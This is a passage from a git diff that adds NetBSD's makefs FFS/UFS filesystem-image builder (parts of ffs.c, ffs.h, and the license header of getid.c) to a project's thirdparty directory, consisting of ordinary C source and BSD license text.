(100 + fsopts->freeblockpc) / 100; + + /* add space needed for superblocks */ + /* + * The old SBOFF (SBLOCK_UFS1) is used here because makefs is + * typically used for small filesystems where space matters. + * XXX make this an option. + */ + fsopts->size += (SBLOCK_UFS1 + SBLOCKSIZE) * ncg; + /* add space needed to store inodes, x3 for blockmaps, etc */ + if (ffs_opts->version == 1) + fsopts->size += ncg * DINODE1_SIZE * + roundup(fsopts->inodes / ncg, + ffs_opts->bsize / DINODE1_SIZE); + else + fsopts->size += ncg * DINODE2_SIZE * + roundup(fsopts->inodes / ncg, + ffs_opts->bsize / DINODE2_SIZE); + + /* add minfree */ + if (ffs_opts->minfree > 0) + fsopts->size = + fsopts->size * (100 + ffs_opts->minfree) / 100; + /* + * XXX any other fs slop to add, such as csum's, bitmaps, etc ?? + */ + + if (fsopts->size < fsopts->minsize) /* ensure meets minimum size */ + fsopts->size = fsopts->minsize; + + /* round up to the next block */ + fsopts->size = roundup(fsopts->size, ffs_opts->bsize); + + /* calculate density if necessary */ + if (ffs_opts->density == -1) + ffs_opts->density = fsopts->size / fsopts->inodes + 1; + + if (debug & DEBUG_FS_VALIDATE) { + printf("ffs_validate: after defaults set:\n"); + ffs_dump_fsinfo(fsopts); + printf("ffs_validate: dir %s; %lld bytes, %lld inodes\n", + dir, (long long)fsopts->size, (long long)fsopts->inodes); + } + /* now check calculated sizes vs requested sizes */ + if (fsopts->maxsize > 0 && fsopts->size > fsopts->maxsize) { + errx(1, "`%s' size of %lld is larger than the maxsize of %lld.", + dir, (long long)fsopts->size, (long long)fsopts->maxsize); + } +} + + +static void +ffs_dump_fsinfo(fsinfo_t *f) +{ + + ffs_opt_t *fs = f->fs_specific; + + printf("fsopts at %p\n", f); + + printf("\tsize %lld, inodes %lld, curinode %u\n", + (long long)f->size, (long long)f->inodes, f->curinode); + + printf("\tminsize %lld, maxsize %lld\n", + (long long)f->minsize, (long long)f->maxsize); + printf("\tfree files %lld, freefile %% %d\n", + (long long)f->freefiles, f->freefilepc); + printf("\tfree blocks %lld, freeblock %% %d\n", + (long long)f->freeblocks, f->freeblockpc); + printf("\tneedswap %d, sectorsize %d\n", f->needswap, f->sectorsize); + + printf("\tbsize %d, fsize %d, cpg %d, density %d\n", + fs->bsize, fs->fsize, fs->cpg, fs->density); + printf("\tnsectors %d, rpm %d, minfree %d\n", + fs->nsectors, fs->rpm, fs->minfree); + printf("\tmaxcontig %d, maxbpg %d\n", + fs->maxcontig, fs->maxbpg); + printf("\toptimization %s\n", + fs->optimization == FS_OPTSPACE ? "space" : "time"); +} + + +static int +ffs_create_image(const char *image, fsinfo_t *fsopts) +{ +#if HAVE_STRUCT_STATVFS_F_IOSIZE && HAVE_FSTATVFS + struct statvfs sfs; +#endif + struct fs *fs; + char *buf; + int i, bufsize; + off_t bufrem; + int oflags = O_RDWR | O_CREAT; + + assert (image != NULL); + assert (fsopts != NULL); + + /* create image */ + if (fsopts->offset == 0) + oflags |= O_TRUNC; + if ((fsopts->fd = open(image, oflags, 0666)) == -1) { + warn("Can't open `%s' for writing", image); + return (-1); + } + + /* zero image */ +#if HAVE_STRUCT_STATVFS_F_IOSIZE && HAVE_FSTATVFS + if (fstatvfs(fsopts->fd, &sfs) == -1) { +#endif + bufsize = 8192; +#if HAVE_STRUCT_STATVFS_F_IOSIZE && HAVE_FSTATVFS + warn("can't fstatvfs `%s', using default %d byte chunk", + image, bufsize); + } else + bufsize = sfs.f_iosize; +#endif + bufrem = fsopts->size; + + if (fsopts->sparse) { + if (ftruncate(fsopts->fd, bufrem) == -1) { + printf ("ERROR in truncate. Sparse option disabled\n"); + fsopts->sparse = 0; + } else { + bufrem = 0; /* File truncated at bufrem. Remaining is 0 */ + buf = NULL; + } + } + + if (fsopts->offset != 0) + if (lseek(fsopts->fd, fsopts->offset, SEEK_SET) == -1) { + warn("can't seek"); + return -1; + } + + if ((debug & DEBUG_FS_CREATE_IMAGE) && fsopts->sparse == 0) + printf( + "zero-ing image `%s', %lld sectors, using %d byte chunks\n", + image, (long long)bufrem, bufsize); + if (bufrem > 0) + buf = ecalloc(1, bufsize); + while (bufrem > 0) { + i = write(fsopts->fd, buf, MIN(bufsize, bufrem)); + if (i == -1) { + warn("zeroing image, %lld bytes to go", + (long long)bufrem); + free(buf); + return (-1); + } + bufrem -= i; + } + if (buf) + free(buf); + + /* make the file system */ + if (debug & DEBUG_FS_CREATE_IMAGE) + printf("calling mkfs(\"%s\", ...)\n", image); + fs = ffs_mkfs(image, fsopts); + fsopts->superblock = (void *)fs; + if (debug & DEBUG_FS_CREATE_IMAGE) { + time_t t; + + t = (time_t)((struct fs *)fsopts->superblock)->fs_time; + printf("mkfs returned %p; fs_time %s", + fsopts->superblock, ctime(&t)); + printf("fs totals: nbfree %lld, nffree %lld, nifree %lld, ndir %lld\n", + (long long)fs->fs_cstotal.cs_nbfree, + (long long)fs->fs_cstotal.cs_nffree, + (long long)fs->fs_cstotal.cs_nifree, + (long long)fs->fs_cstotal.cs_ndir); + } + + if ((off_t)(fs->fs_cstotal.cs_nifree + UFS_ROOTINO) < fsopts->inodes) { + warnx( + "Image file `%s' has %lld free inodes; %lld are required.", + image, + (long long)(fs->fs_cstotal.cs_nifree + UFS_ROOTINO), + (long long)fsopts->inodes); + return (-1); + } + return (fsopts->fd); +} + + +static void +ffs_size_dir(fsnode *root, fsinfo_t *fsopts) +{ + struct direct tmpdir; + fsnode * node; + int curdirsize, this; + ffs_opt_t *ffs_opts = fsopts->fs_specific; + + /* node may be NULL (empty directory) */ + assert(fsopts != NULL); + assert(ffs_opts != NULL); + + if (debug & DEBUG_FS_SIZE_DIR) + printf("ffs_size_dir: entry: bytes %lld inodes %lld\n", + (long long)fsopts->size, (long long)fsopts->inodes); + +#define ADDDIRENT(e) do { \ + tmpdir.d_namlen = strlen((e)); \ + this = UFS_DIRSIZ(0, &tmpdir, 0); \ + if (debug & DEBUG_FS_SIZE_DIR_ADD_DIRENT) \ + printf("ADDDIRENT: was: %s (%d) this %d cur %d\n", \ + e, tmpdir.d_namlen, this, curdirsize); \ + if (this + curdirsize > roundup(curdirsize, UFS_DIRBLKSIZ)) \ + curdirsize = roundup(curdirsize, UFS_DIRBLKSIZ); \ + curdirsize += this; \ + if (debug & DEBUG_FS_SIZE_DIR_ADD_DIRENT) \ + printf("ADDDIRENT: now: %s (%d) this %d cur %d\n", \ + e, tmpdir.d_namlen, this, curdirsize); \ +} while (0); + + /* + * XXX this needs to take into account extra space consumed + * by indirect blocks, etc. + */ +#define ADDSIZE(x) do { \ + fsopts->size += roundup((x), ffs_opts->fsize); \ +} while (0); + + curdirsize = 0; + for (node = root; node != NULL; node = node->next) { + ADDDIRENT(node->name); + if (node == root) { /* we're at "." */ + assert(strcmp(node->name, ".") == 0); + ADDDIRENT(".."); + } else if ((node->inode->flags & FI_SIZED) == 0) { + /* don't count duplicate names */ + node->inode->flags |= FI_SIZED; + if (debug & DEBUG_FS_SIZE_DIR_NODE) + printf("ffs_size_dir: `%s' size %lld\n", + node->name, + (long long)node->inode->st.st_size); + fsopts->inodes++; + if (node->type == S_IFREG) + ADDSIZE(node->inode->st.st_size); + if (node->type == S_IFLNK) { + size_t slen; + + slen = strlen(node->symlink) + 1; + if (slen >= (ffs_opts->version == 1 ? + UFS1_MAXSYMLINKLEN : + UFS2_MAXSYMLINKLEN)) + ADDSIZE(slen); + } + } + if (node->type == S_IFDIR) + ffs_size_dir(node->child, fsopts); + } + ADDSIZE(curdirsize); + + if (debug & DEBUG_FS_SIZE_DIR) + printf("ffs_size_dir: exit: size %lld inodes %lld\n", + (long long)fsopts->size, (long long)fsopts->inodes); +} + +static void * +ffs_build_dinode1(struct ufs1_dinode *dinp, dirbuf_t *dbufp, fsnode *cur, + fsnode *root, fsinfo_t *fsopts) +{ + size_t slen; + void *membuf; + + memset(dinp, 0, sizeof(*dinp)); + dinp->di_mode = cur->inode->st.st_mode; + dinp->di_nlink = cur->inode->nlink; + dinp->di_size = cur->inode->st.st_size; + dinp->di_atime = cur->inode->st.st_atime; + dinp->di_mtime = cur->inode->st.st_mtime; + dinp->di_ctime = cur->inode->st.st_ctime; +#if HAVE_STRUCT_STAT_ST_MTIMENSEC + dinp->di_atimensec = cur->inode->st.st_atimensec; + dinp->di_mtimensec = cur->inode->st.st_mtimensec; + dinp->di_ctimensec = cur->inode->st.st_ctimensec; +#endif +#if HAVE_STRUCT_STAT_ST_FLAGS + dinp->di_flags = cur->inode->st.st_flags; +#endif +#if HAVE_STRUCT_STAT_ST_GEN + dinp->di_gen = cur->inode->st.st_gen; +#endif + dinp->di_uid = cur->inode->st.st_uid; + dinp->di_gid = cur->inode->st.st_gid; + /* not set: di_db, di_ib, di_blocks, di_spare */ + + membuf = NULL; + if (cur == root) { /* "."; write dirbuf */ + membuf = dbufp->buf; + dinp->di_size = dbufp->size; + } else if (S_ISBLK(cur->type) || S_ISCHR(cur->type)) { + dinp->di_size = 0; /* a device */ + dinp->di_rdev = + ufs_rw32(cur->inode->st.st_rdev, fsopts->needswap); + } else if (S_ISLNK(cur->type)) { /* symlink */ + slen = strlen(cur->symlink); + if (slen < UFS1_MAXSYMLINKLEN) { /* short link */ + memcpy(dinp->di_db, cur->symlink, slen); + } else + membuf = cur->symlink; + dinp->di_size = slen; + } + return membuf; +} + +static void * +ffs_build_dinode2(struct ufs2_dinode *dinp, dirbuf_t *dbufp, fsnode *cur, + fsnode *root, fsinfo_t *fsopts) +{ + size_t slen; + void *membuf; + + memset(dinp, 0, sizeof(*dinp)); + dinp->di_mode = cur->inode->st.st_mode; + dinp->di_nlink = cur->inode->nlink; + dinp->di_size = cur->inode->st.st_size; + dinp->di_atime = cur->inode->st.st_atime; + dinp->di_mtime = cur->inode->st.st_mtime; + dinp->di_ctime = cur->inode->st.st_ctime; +#if HAVE_STRUCT_STAT_ST_MTIMENSEC + dinp->di_atimensec = cur->inode->st.st_atimensec; + dinp->di_mtimensec = cur->inode->st.st_mtimensec; + dinp->di_ctimensec = cur->inode->st.st_ctimensec; +#endif +#if HAVE_STRUCT_STAT_ST_FLAGS + dinp->di_flags = cur->inode->st.st_flags; +#endif +#if HAVE_STRUCT_STAT_ST_GEN + dinp->di_gen = cur->inode->st.st_gen; +#endif +#if HAVE_STRUCT_STAT_BIRTHTIME + dinp->di_birthtime = cur->inode->st.st_birthtime; + dinp->di_birthnsec = cur->inode->st.st_birthtimensec; +#endif + dinp->di_uid = cur->inode->st.st_uid; + dinp->di_gid = cur->inode->st.st_gid; + /* not set: di_db, di_ib, di_blocks, di_spare */ + + membuf = NULL; + if (cur == root) { /* "."; write dirbuf */ + membuf = dbufp->buf; + dinp->di_size = dbufp->size; + } else if (S_ISBLK(cur->type) || S_ISCHR(cur->type)) { + dinp->di_size = 0; /* a device */ + dinp->di_rdev = + ufs_rw64(cur->inode->st.st_rdev, fsopts->needswap); + } else if (S_ISLNK(cur->type)) { /* symlink */ + slen = strlen(cur->symlink); + if (slen < UFS2_MAXSYMLINKLEN) { /* short link */ + memcpy(dinp->di_db, cur->symlink, slen); + } else + membuf = cur->symlink; + dinp->di_size = slen; + } + return membuf; +} + +static int +ffs_populate_dir(const char *dir, fsnode *root, fsinfo_t *fsopts) +{ + fsnode *cur; + dirbuf_t dirbuf; + union dinode din; + void *membuf; + char path[MAXPATHLEN + 1]; + ffs_opt_t *ffs_opts = fsopts->fs_specific; + + assert(dir != NULL); + assert(root != NULL); + assert(fsopts != NULL); + assert(ffs_opts != NULL); + + (void)memset(&dirbuf, 0, sizeof(dirbuf)); + + if (debug & DEBUG_FS_POPULATE) + printf("ffs_populate_dir: PASS 1 dir %s node %p\n", dir, root); + + /* + * pass 1: allocate inode numbers, build directory `file' + */ + for (cur = root; cur != NULL; cur = cur->next) { + if ((cur->inode->flags & FI_ALLOCATED) == 0) { + cur->inode->flags |= FI_ALLOCATED; + if (cur == root && cur->parent != NULL) + cur->inode->ino = cur->parent->inode->ino; + else { + cur->inode->ino = fsopts->curinode; + fsopts->curinode++; + } + } + ffs_make_dirbuf(&dirbuf, cur->name, cur, fsopts->needswap); + if (cur == root) { /* we're at "."; add ".." */ + ffs_make_dirbuf(&dirbuf, "..", + cur->parent == NULL ? cur : cur->parent->first, + fsopts->needswap); + root->inode->nlink++; /* count my parent's link */ + } else if (cur->child != NULL) + root->inode->nlink++; /* count my child's link */ + + /* + * XXX possibly write file and long symlinks here, + * ensuring that blocks get written before inodes? + * otoh, this isn't a real filesystem, so who + * cares about ordering? :-) + */ + } + if (debug & DEBUG_FS_POPULATE_DIRBUF) + ffs_dump_dirbuf(&dirbuf, dir, fsopts->needswap); + + /* + * pass 2: write out dirbuf, then non-directories at this level + */ + if (debug & DEBUG_FS_POPULATE) + printf("ffs_populate_dir: PASS 2 dir %s\n", dir); + for (cur = root; cur != NULL; cur = cur->next) { + if (cur->inode->flags & FI_WRITTEN) + continue; /* skip hard-linked entries */ + cur->inode->flags |= FI_WRITTEN; + + if ((size_t)snprintf(path, sizeof(path), "%s/%s/%s", cur->root, + cur->path, cur->name) >= sizeof(path)) + errx(1, "Pathname too long."); + + if (cur->child != NULL) + continue; /* child creates own inode */ + + /* build on-disk inode */ + if (ffs_opts->version == 1) + membuf = ffs_build_dinode1(&din.ffs1_din, &dirbuf, cur, + root, fsopts); + else + membuf = ffs_build_dinode2(&din.ffs2_din, &dirbuf, cur, + root, fsopts); + + if (debug & DEBUG_FS_POPULATE_NODE) { + printf("ffs_populate_dir: writing ino %d, %s", + cur->inode->ino, inode_type(cur->type)); + if (cur->inode->nlink > 1) + printf(", nlink %d", cur->inode->nlink); + putchar('\n'); + } + + if (membuf != NULL) { + ffs_write_file(&din, cur->inode->ino, membuf, fsopts); + } else if (S_ISREG(cur->type)) { + ffs_write_file(&din, cur->inode->ino, path, fsopts); + } else { + assert (! S_ISDIR(cur->type)); + ffs_write_inode(&din, cur->inode->ino, fsopts); + } + } + + /* + * pass 3: write out sub-directories + */ + if (debug & DEBUG_FS_POPULATE) + printf("ffs_populate_dir: PASS 3 dir %s\n", dir); + for (cur = root; cur != NULL; cur = cur->next) { + if (cur->child == NULL) + continue; + if ((size_t)snprintf(path, sizeof(path), "%s/%s", dir, + cur->name) >= sizeof(path)) + errx(1, "Pathname too long."); + if (! ffs_populate_dir(path, cur->child, fsopts)) + return (0); + } + + if (debug & DEBUG_FS_POPULATE) + printf("ffs_populate_dir: DONE dir %s\n", dir); + + /* cleanup */ + if (dirbuf.buf != NULL) + free(dirbuf.buf); + return (1); +} + + +static void +ffs_write_file(union dinode *din, uint32_t ino, void *buf, fsinfo_t *fsopts) +{ + int isfile, ffd; + char *fbuf, *p; + off_t bufleft, chunk, offset; + ssize_t nread; + struct inode in; + struct buf * bp; + ffs_opt_t *ffs_opts = fsopts->fs_specific; + struct vnode vp = { fsopts, NULL }; + + assert (din != NULL); + assert (buf != NULL); + assert (fsopts != NULL); + assert (ffs_opts != NULL); + + isfile = S_ISREG(DIP(din, mode)); + fbuf = NULL; + ffd = -1; + p = NULL; + + in.i_fs = (struct fs *)fsopts->superblock; + in.i_devvp = &vp; + + if (debug & DEBUG_FS_WRITE_FILE) { + printf( + "ffs_write_file: ino %u, din %p, isfile %d, %s, size %lld", + ino, din, isfile, inode_type(DIP(din, mode) & S_IFMT), + (long long)DIP(din, size)); + if (isfile) + printf(", file '%s'\n", (char *)buf); + else + printf(", buffer %p\n", buf); + } + + in.i_number = ino; + in.i_size = DIP(din, size); + if (ffs_opts->version == 1) + memcpy(&in.i_din.ffs1_din, &din->ffs1_din, + sizeof(in.i_din.ffs1_din)); + else + memcpy(&in.i_din.ffs2_din, &din->ffs2_din, + sizeof(in.i_din.ffs2_din)); + + if (DIP(din, size) == 0) + goto write_inode_and_leave; /* mmm, cheating */ + + if (isfile) { + fbuf = emalloc(ffs_opts->bsize); + if ((ffd = open((char *)buf, O_RDONLY, 0444)) == -1) { + warn("Can't open `%s' for reading", (char *)buf); + goto leave_ffs_write_file; + } + } else { + p = buf; + } + + chunk = 0; + for (bufleft = DIP(din, size); bufleft > 0; bufleft -= chunk) { + chunk = MIN(bufleft, ffs_opts->bsize); + if (!isfile) + ; + else if ((nread = read(ffd, fbuf, chunk)) == -1) + err(EXIT_FAILURE, "Reading `%s', %lld bytes to go", + (char *)buf, (long long)bufleft); + else if (nread != chunk) + errx(EXIT_FAILURE, "Reading `%s', %lld bytes to go, " + "read %zd bytes, expected %ju bytes, does " + "metalog size= attribute mismatch source size?", + (char *)buf, (long long)bufleft, nread, + (uintmax_t)chunk); + else + p = fbuf; + offset = DIP(din, size) - bufleft; + if (debug & DEBUG_FS_WRITE_FILE_BLOCK) + printf( + "ffs_write_file: write %p offset %lld size %lld left %lld\n", + p, (long long)offset, + (long long)chunk, (long long)bufleft); + /* + * XXX if holey support is desired, do the check here + * + * XXX might need to write out last bit in fragroundup + * sized chunk. however, ffs_balloc() handles this for us + */ + errno = ffs_balloc(&in, offset, chunk, &bp); + bad_ffs_write_file: + if (errno != 0) + err(1, + "Writing inode %d (%s), bytes %lld + %lld", + ino, + isfile ? (char *)buf : + inode_type(DIP(din, mode) & S_IFMT), + (long long)offset, (long long)chunk); + memcpy(bp->b_data, p, chunk); + errno = bwrite(bp); + if (errno != 0) + goto bad_ffs_write_file; + if (!isfile) + p += chunk; + } + + write_inode_and_leave: + ffs_write_inode(&in.i_din, in.i_number, fsopts); + + leave_ffs_write_file: + if (fbuf) + free(fbuf); + if (ffd != -1) + close(ffd); +} + + +static void +ffs_dump_dirbuf(dirbuf_t *dbuf, const char *dir, int needswap) +{ + doff_t i; + struct direct *de; + uint16_t reclen; + + assert (dbuf != NULL); + assert (dir != NULL); + printf("ffs_dump_dirbuf: dir %s size %d cur %d\n", + dir, dbuf->size, dbuf->cur); + + for (i = 0; i < dbuf->size; ) { + de = (struct direct *)(dbuf->buf + i); + reclen = ufs_rw16(de->d_reclen, needswap); + printf( + " inode %4d %7s offset %4d reclen %3d namlen %3d name %s\n", + ufs_rw32(de->d_fileno, needswap), + inode_type(DTTOIF(de->d_type)), i, reclen, + de->d_namlen, de->d_name); + i += reclen; + assert(reclen > 0); + } +} + +static void +ffs_make_dirbuf(dirbuf_t *dbuf, const char *name, fsnode *node, int needswap) +{ + struct direct de, *dp; + uint16_t llen, reclen; + u_char *newbuf; + + assert (dbuf != NULL); + assert (name != NULL); + assert (node != NULL); + /* create direct entry */ + (void)memset(&de, 0, sizeof(de)); + de.d_fileno = ufs_rw32(node->inode->ino, needswap); + de.d_type = IFTODT(node->type); + de.d_namlen = (uint8_t)strlen(name); + strcpy(de.d_name, name); + reclen = UFS_DIRSIZ(0, &de, needswap); + de.d_reclen = ufs_rw16(reclen, needswap); + + dp = (struct direct *)(dbuf->buf + dbuf->cur); + llen = 0; + if (dp != NULL) + llen = UFS_DIRSIZ(0, dp, needswap); + + if (debug & DEBUG_FS_MAKE_DIRBUF) + printf( + "ffs_make_dirbuf: dbuf siz %d cur %d lastlen %d\n" + " ino %d type %d reclen %d namlen %d name %.30s\n", + dbuf->size, dbuf->cur, llen, + ufs_rw32(de.d_fileno, needswap), de.d_type, reclen, + de.d_namlen, de.d_name); + + if (reclen + dbuf->cur + llen > roundup(dbuf->size, UFS_DIRBLKSIZ)) { + if (debug & DEBUG_FS_MAKE_DIRBUF) + printf("ffs_make_dirbuf: growing buf to %d\n", + dbuf->size + UFS_DIRBLKSIZ); + newbuf = erealloc(dbuf->buf, dbuf->size + UFS_DIRBLKSIZ); + dbuf->buf = newbuf; + dbuf->size += UFS_DIRBLKSIZ; + memset(dbuf->buf + dbuf->size - UFS_DIRBLKSIZ, 0, UFS_DIRBLKSIZ); + dbuf->cur = dbuf->size - UFS_DIRBLKSIZ; + } else if (dp) { /* shrink end of previous */ + dp->d_reclen = ufs_rw16(llen,needswap); + dbuf->cur += llen; + } + dp = (struct direct *)(dbuf->buf + dbuf->cur); + memcpy(dp, &de, reclen); + dp->d_reclen = ufs_rw16(dbuf->size - dbuf->cur, needswap); +} + +/* + * cribbed from sys/ufs/ffs/ffs_alloc.c + */ +static void +ffs_write_inode(union dinode *dp, uint32_t ino, const fsinfo_t *fsopts) +{ + char *buf; + struct ufs1_dinode *dp1; + struct ufs2_dinode *dp2, *dip; + struct cg *cgp; + struct fs *fs; + int cg, cgino, i; + daddr_t d; + char sbbuf[FFS_MAXBSIZE]; + uint32_t initediblk; + ffs_opt_t *ffs_opts = fsopts->fs_specific; + + assert (dp != NULL); + assert (ino > 0); + assert (fsopts != NULL); + assert (ffs_opts != NULL); + + fs = (struct fs *)fsopts->superblock; + cg = ino_to_cg(fs, ino); + cgino = ino % fs->fs_ipg; + if (debug & DEBUG_FS_WRITE_INODE) + printf("ffs_write_inode: din %p ino %u cg %d cgino %d\n", + dp, ino, cg, cgino); + + ffs_rdfs(FFS_FSBTODB(fs, cgtod(fs, cg)), (int)fs->fs_cgsize, &sbbuf, + fsopts); + cgp = (struct cg *)sbbuf; + if (!cg_chkmagic(cgp, fsopts->needswap)) + errx(1, "ffs_write_inode: cg %d: bad magic number", cg); + + assert (isclr(cg_inosused(cgp, fsopts->needswap), cgino)); + + buf = emalloc(fs->fs_bsize); + dp1 = (struct ufs1_dinode *)buf; + dp2 = (struct ufs2_dinode *)buf; + + if (fs->fs_cstotal.cs_nifree == 0) + errx(1, "ffs_write_inode: fs out of inodes for ino %u", + ino); + if (fs->fs_cs(fs, cg).cs_nifree == 0) + errx(1, + "ffs_write_inode: cg %d out of inodes for ino %u", + cg, ino); + setbit(cg_inosused(cgp, fsopts->needswap), cgino); + ufs_add32(cgp->cg_cs.cs_nifree, -1, fsopts->needswap); + fs->fs_cstotal.cs_nifree--; + fs->fs_cs(fs, cg).cs_nifree--; + if (S_ISDIR(DIP(dp, mode))) { + ufs_add32(cgp->cg_cs.cs_ndir, 1, fsopts->needswap); + fs->fs_cstotal.cs_ndir++; + fs->fs_cs(fs, cg).cs_ndir++; + } + + /* + * Initialize inode blocks on the fly for UFS2. + */ + initediblk = ufs_rw32(cgp->cg_initediblk, fsopts->needswap); + if (ffs_opts->version == 2 && + (uint32_t)(cgino + FFS_INOPB(fs)) > initediblk && + initediblk < ufs_rw32(cgp->cg_niblk, fsopts->needswap)) { + memset(buf, 0, fs->fs_bsize); + dip = (struct ufs2_dinode *)buf; + srandom(time(NULL)); + for (i = 0; i < FFS_INOPB(fs); i++) { + dip->di_gen = random() / 2 + 1; + dip++; + } + ffs_wtfs(FFS_FSBTODB(fs, ino_to_fsba(fs, + cg * fs->fs_ipg + initediblk)), + fs->fs_bsize, buf, fsopts); + initediblk += FFS_INOPB(fs); + cgp->cg_initediblk = ufs_rw32(initediblk, fsopts->needswap); + } + + + ffs_wtfs(FFS_FSBTODB(fs, cgtod(fs, cg)), (int)fs->fs_cgsize, &sbbuf, + fsopts); + + /* now write inode */ + d = FFS_FSBTODB(fs, ino_to_fsba(fs, ino)); + ffs_rdfs(d, fs->fs_bsize, buf, fsopts); + if (fsopts->needswap) { + if (ffs_opts->version == 1) + ffs_dinode1_swap(&dp->ffs1_din, + &dp1[ino_to_fsbo(fs, ino)]); + else + ffs_dinode2_swap(&dp->ffs2_din, + &dp2[ino_to_fsbo(fs, ino)]); + } else { + if (ffs_opts->version == 1) + dp1[ino_to_fsbo(fs, ino)] = dp->ffs1_din; + else + dp2[ino_to_fsbo(fs, ino)] = dp->ffs2_din; + } + ffs_wtfs(d, fs->fs_bsize, buf, fsopts); + free(buf); +} + +void +panic(const char *fmt, ...) +{ + va_list ap; + + va_start(ap, fmt); + vwarnx(fmt, ap); + va_end(ap); + exit(1); +} diff --git a/thirdparty/makefs/ffs.h b/thirdparty/makefs/ffs.h new file mode 100644 index 0000000..79223bd --- /dev/null +++ b/thirdparty/makefs/ffs.h @@ -0,0 +1,68 @@ +/* $NetBSD: ffs.h,v 1.2 2011/10/09 21:33:43 christos Exp $ */ + +/* + * Copyright (c) 2001-2003 Wasabi Systems, Inc. + * All rights reserved. + * + * Written by Luke Mewburn for Wasabi Systems, Inc. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed for the NetBSD Project by + * Wasabi Systems, Inc. + * 4. The name of Wasabi Systems, Inc. may not be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * + * THIS SOFTWARE IS PROVIDED BY WASABI SYSTEMS, INC. ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL WASABI SYSTEMS, INC + * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef _FFS_H +#define _FFS_H + +#include +#include + +typedef struct { + char label[MAXVOLLEN]; /* volume name/label */ + int bsize; /* block size */ + int fsize; /* fragment size */ + int cpg; /* cylinders per group */ + int cpgflg; /* cpg was specified by user */ + int density; /* bytes per inode */ + int ntracks; /* number of tracks */ + int nsectors; /* number of sectors */ + int rpm; /* rpm */ + int minfree; /* free space threshold */ + int optimization; /* optimization (space or time) */ + int maxcontig; /* max contiguous blocks to allocate */ + int rotdelay; /* rotational delay between blocks */ + int maxbpg; /* maximum blocks per file in a cyl group */ + int nrpos; /* # of distinguished rotational positions */ + int avgfilesize; /* expected average file size */ + int avgfpdir; /* expected # of files per directory */ + int version; /* filesystem version (1 = FFS, 2 = UFS2) */ + int maxbsize; /* maximum extent size */ + int maxblkspercg; /* max # of blocks per cylinder group */ + /* XXX: support `old' file systems ? */ +} ffs_opt_t; + +#endif /* _FFS_H */ diff --git a/thirdparty/makefs/getid.c b/thirdparty/makefs/getid.c new file mode 100644 index 0000000..769b230 --- /dev/null +++ b/thirdparty/makefs/getid.c @@ -0,0 +1,457 @@ +/* $NetBSD: getid.c,v 1.4 2008/11/06 02:14:52 jschauma Exp $ */ +/* from: NetBSD: getpwent.c,v 1.48 2000/10/03 03:22:26 enami Exp */ +/* from: NetBSD: getgrent.c,v 1.41 2002/01/12 23:51:30 lukem Exp */ + +/* + * Copyright (c) 1987, 1988, 1989, 1993, 1994, 1995 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +/*- + * Copyright (c) 2002 The NetBSD Foundation, Inc. + * All rights reserved. + * + * This code is derived from software contributed to The NetBSD Foundation + * by Luke Mewburn of Wasabi Systems. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the NetBSD + * Foundation, Inc. and its contributors. + * 4. Neither the name of The NetBSD Foundation nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS + * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS + * BE LIABLE FOR ANY 